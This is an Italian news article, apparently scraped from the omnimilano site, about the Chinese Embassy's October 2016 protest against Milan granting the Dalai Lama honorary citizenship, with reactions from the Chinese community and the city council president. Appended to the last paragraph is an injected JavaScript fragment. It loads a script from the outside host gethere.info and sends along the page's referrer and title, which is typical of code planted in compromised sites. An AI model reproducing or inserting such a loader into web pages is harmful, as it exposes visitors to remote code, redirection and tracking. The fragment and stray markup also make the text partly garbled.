"/>
giovedì 23 novembre 2017 19:39:32
omnimilano

Dalai Lama, Ambasciata Cina contro cittadinanza onoraria: “Feriti gravemente”

18 ottobre 2016 Cronaca, Economia, Politica

“Il quattordicesimo Dalai Lama non e’ una figura puramente religiosa, ma e’ un politico in esilio che da anni si presenta in veste religiosa nello svolgimento delle attività’ separatiste contro la Cina. Il fatto che il Consiglio Comunale di Milano, le altre Istituzioni e persone siano presenti con connivenza alla visita del Dalai Lama a Milano e conferiscano a lui la Cittadinanza Onoraria, ha ferito gravemente i sentimenti del popolo cinese. Tutto ciò ha un impatto negativo sui rapporti bilaterali e sulle cooperazioni tra le regioni dei due Paesi. La Cina, con i suoi Rappresentanti Istituzionali, esprime forte rimostranza e ferma opposizione”. E’ la dura presa di posizione dell’Ambasciata della Repubblica Popolare Cinese, espressa con un comunicato ufficiale. Rispetto alla visita del Dalai Lama in città giovedì e agli incontri istituzionale previsti, la sede diplomatica cinese a Roma sottolinea che “negli ultimi decenni grazie alle politiche agevolate e gli aiuti finanziari del Governo Centrale, alla dinamica amministrazione del Governo Regionale e ai grandi contributi compiuti dal popolo residente, di ogni etnia, della Regione Autonoma del Tibet, si sono ottenuti splendidi successi nello sviluppo economico-sociale, nel miglioramento della vita, nelle opere pubbliche. Sono aumentati gli sforzi economici per promuovere ulteriormente la cultura, l’istruzione, la religione e la tutela ambientale. Il popolo di ogni etnia, dell’area tibetana, percepisce i tangibili benefici che non hanno precedenti nella storia della regione; tali benefici sono i frutti della prosperità e della stabilità. Negli ultimi anni, le cooperazioni sino-italiane di vari settori stanno vivendo un ottimo momento. L’Italia è diventata uno dei maggiori destinatari degli investimenti cinesi in Europa, gli scambi nei campi dell’economia, della scienza e tecnologia, della cultura sono sempre più attivi e intensi, dimostrandosi la vitalità energetica delle cooperazioni bilaterali sostenuti dai mutui interessi. Negli anni a venire, si vedranno ancora più potenzialità negli scambi del commercio e degli investimenti, nei coordinamenti e collegamenti delle strategie di sviluppo rispettive, nelle cooperazioni sotto il quadro dell’iniziativa di One Belt One Road. Speriamo che le parti interessate possano prendere in severa considerazione dei rapporti bilaterali, e impegnarsi in modo positivo della promozione dell’amicizia e della cooperazione tra i due paesi”. Prima della nota ufficiale dell’ambasciata, anche la comunità cinese a Milano ha tenuto a fare sapere che “quella dell’attribuzione della cittadinanza onoraria al Dalai Lama è un’iniziativa che riteniamo sbagliata e che offende decine di migliaia di cittadini cino-milanesi, perché non tiene conto dell’effettiva realtà storica e attuale del rapporto tra la Cina e la regione del Tibet e presenta la figura del Dalai Lama non semplicemente come esponente religioso ma come capo di uno stato che in realtà non esiste”. Annunciata anche una iniziativa “per esprimere la propria opinione davanti al Teatro Arcimboldi, in via Dell’Innovazione 20, giovedì 20 ottobre, a partire dalle 11.30”. Cerca di smorzare i toni il presidente del consiglio comunale Lamberto Bertolè: confermando che si darà corso alla decisione dell’Aula di palazzo Marino con il conferimento della Cittadinanza onoraria, sottolinea che “non è un’interferenza nella politica interna cinese ma un riconoscimento al Dalai Lama per la sua testimonianza e la sua attività di guida spirituale, come portatore di un messaggio di pace e non violenza nel mondo. Non è un atto contro l’amicizia italo-cinese e per noi tutti è importante mentenere relazioni positive con la comunità cinese di Milano, di cui apprezziamo il prezioso contributo alla vita economica, sociale e culturale della nostra città”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Condividi questo articolo